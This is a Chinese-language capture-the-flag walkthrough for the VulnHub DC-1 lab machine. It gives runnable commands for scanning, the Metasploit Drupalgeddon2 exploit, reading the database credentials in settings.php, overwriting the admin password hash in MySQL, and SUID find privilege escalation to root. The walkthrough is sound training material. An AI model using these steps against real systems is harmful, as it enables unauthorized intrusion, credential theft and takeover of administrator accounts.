1.下载安装靶机
下载链接为DC: 1 ~ VulnHub,里面有三种下载方式任选一种即可,下载后解压为.ova文件,该格式可直接在VMware上打开,如果显示打开失败,依照指示重试即可成功,如果仍无法成功可百度、谷歌解决。
在VMware加载成功之后显示如下界面:
默认状态我们是打不开该系统的,也不知道账号密码的,毕竟我们的目的就是在不知道账号密码的情况下拿到root权限,找到flag。
注意,这里建议把DC-1靶机的网络链接模式改为NAT模式。
本文使用的攻击机为kali(安装在VMware上,IP为:192.168.179.128)。
2.信息收集
2.1收集该靶机的IP
由于本文的攻击机和靶机在同一个网络下,因此在kali上输入命令: arp-scan -l
由上图可以看出靶机的IP为192.168.179.129,当然也可以使用nmap去扫描192.168.179.1/24段下的所有存活机器。
2.2 扫描该靶机的端口
使用nmap扫描器,输入命令:nmap 192.168.179.129
由上图可以看出该靶机暴露了80、22端口,80端口是提供http服务的,我们使用浏览器访问:http://192.168.179.129:80,可得
上图为网站的登陆图,可以看出需要账号密码,可以猜测应该有重要信息在登陆后的页面内,这是有三种方式可以看到,第一是注册:看到可以注册,我们先注册一波,然后发现注册没有用;第二是sql注入,感兴趣的同学可以注册一波,我是没成功;第三是需要去靶机文件系统里盗取。这个时候我们看到最下面有 Powered by Drupal,说明Drupal是该网站的CMS,我们不妨猜测该网站可能存在漏洞。
3 漏洞检测
接下来我们使用一款开源的漏洞扫描工具去扫描该网站的Drupal的潜在漏洞。
1. 输入命令: msfconsole,进入msf工具,注意:如果第一次使用msf需要初始化,初始化需要几行命令,百度谷歌可得,很简单。
2.进入后,输入:search drupal
3.可以看出存在7个潜在的漏洞,经过尝试(看博客,有的博主已经验证只有geddon2 API 可以利用),我们输入命令行:
use exploit/unix/webapp/drupal_drupalgeddon2,利用这个API漏洞;
4.接着输入:show options查看是否有需要手工设置的选项
5.其中requested显示为yes表示需要我们手动设置。可以从描述看出,rhosts最有可能需要我们设置,输入命令:set rhosts 192.168.179.129
6.接着使用exploit命令进行攻击。
可以看出我们获得了一个meterpreter的shell,这表名我们成功入侵了该靶机。并且从倒数第二行可以看出是使用192.168.179.128(kali)入侵192.168.179.129(靶机)的。
4 漏洞利用
1.输入ls,查看靶机文件,可以看到有一个flag1.txt文件,此时拿到第一个flag。
2.查看flag1.txt文件
提示需要查找CMS的配置文件,那么就在该目录下查找
3.查找配置文件
此时有两种方式查找:
一种是在该目录下遍历所有的子目录及文件,查找所有配置文件,发现在/sites/dafault/下存在settings.php文件。
另一种是开启一个shell,使用python -c "import pty;pty.spawn( '/bin/bash')"开启交互模式,然后使用find命令查找settings文件,命令为:
find ./ -name "*settings*"
4.查看配置文件
有上图我们看出我们拿到了第二个flag,并且可以看到数据库的信息
5.打开shell,打开靶机的交互模式(如果第三步找配置文件的时候已经打开了,则无需重复打开)
python -c "import pty;pty.spawn( '/bin/bash')"
6.登陆数据库
使用更改settings.php文件中的账号密码信息,登陆数据库
mysql -udbuser -pR0ck3t
7.查看数据库信息
show databases;
use drupaldb;
show tables;
可以看到有users表。
8.查看用户信息
select * from users;
可以看出users表中有用户名和密码,但是该密码被加密了。我们知道哈希密码是单项不可逆的,即使我们打算使用解密软件爆破,也只能穷举,成本比较高,因此,参考大家的博客,大家都是采用替换的方式,即找到靶机的加密算法,将我们自己设定的密码转换成哈希密文,并替换users表中的密码。
9.查找哈希算法文件
在百度上搜索了drupal密码重置方法,发现drupal默认使用password_hash.sh生成密码。因此我们在目录下查找该文件,
输入命令行,寻找所有的hash文件
find ./ -name "*hash*"
发现了在scripts下存在一个hash文件,此文件正是要找的password_hash.sh。
10.使用hash文件生成新的算法
使输入命令行:cat ./scripts/password-hash.sh,发现确实是我们需要的文件。
再输入命令行 php ./scripts/password-hash.sh dc1
生成密码为dc1 的哈希值
11.替换哈希并登陆
此时我们登陆数据库,输入命令行:update drupaldb.users set pass="$S$DjCJXN1GkzsnjbIcGq8meOnx3MWj1a.9gGEm2u9YmZEH/9/SjetG" where name="admin";
替换users表中的hash.
接着我们用admin(密码为dc1)登陆
没有看到有用的信息,随便点点,发现发现dashboard,发现第三个flag.
这句话翻译过来的意思是特殊的权限有助于发现密码,但是你需要执行一些命令去发现一些隐藏内容。
这句话有两个提示,一个是提权,另一个是passwd和shadow文件。
12 发现passwd文件
我们尝试看看passwd,输入命令:cat /etc/passwd,发现果然存在
此外,最后一行flag4❌1001:1001:Flag4,,,:/home/flag4:/bin/bash,也告诉了我们路径,我们打开该路径查看,找到了第4个flag文件。
5 提权
第4个flag文件提示另一个flag文件在root里,这也再一次证明了必须要进行提权,获得root权限。在提权之前,我们不妨尝试查找flag文件,
find / -name "*flag*"
我们发现了最后一个flag如果在root目录下,再一次提示接下来要进行提权操作。
首先我们思考哪些命令可以进行提权操作,find、vim、bash、more、less等,此次我们使用flag提示的find -perm 命令
输入命令行 find / -perm -u=s -type f 2>/dev/null
其中-perm表示按照权限查找;-u=s表示拥有者是s权限;-type表示查找f文件、d目录、c字符设备等;2>/dev/null的意思就是将标准错误stderr删掉。
这些目录都是root权限,在里面发现了/usr/bin/find已经是root权限了。
接下来执行命令:touch dc-1(有的话显示时间属性,没有创建该文件),此处是创建。
输入命令:find dc-1 -exec whoami \;
可以看出find确实可以拥有dc-1的root权限,并且-exec后面的命令也以root权限执行,那么就可以拼接命令行打开thefinalflag.txt了。
构建命令行:find dc-1 -exec cat /root/thefinalflag.txt \;
成功获得最后一个flag。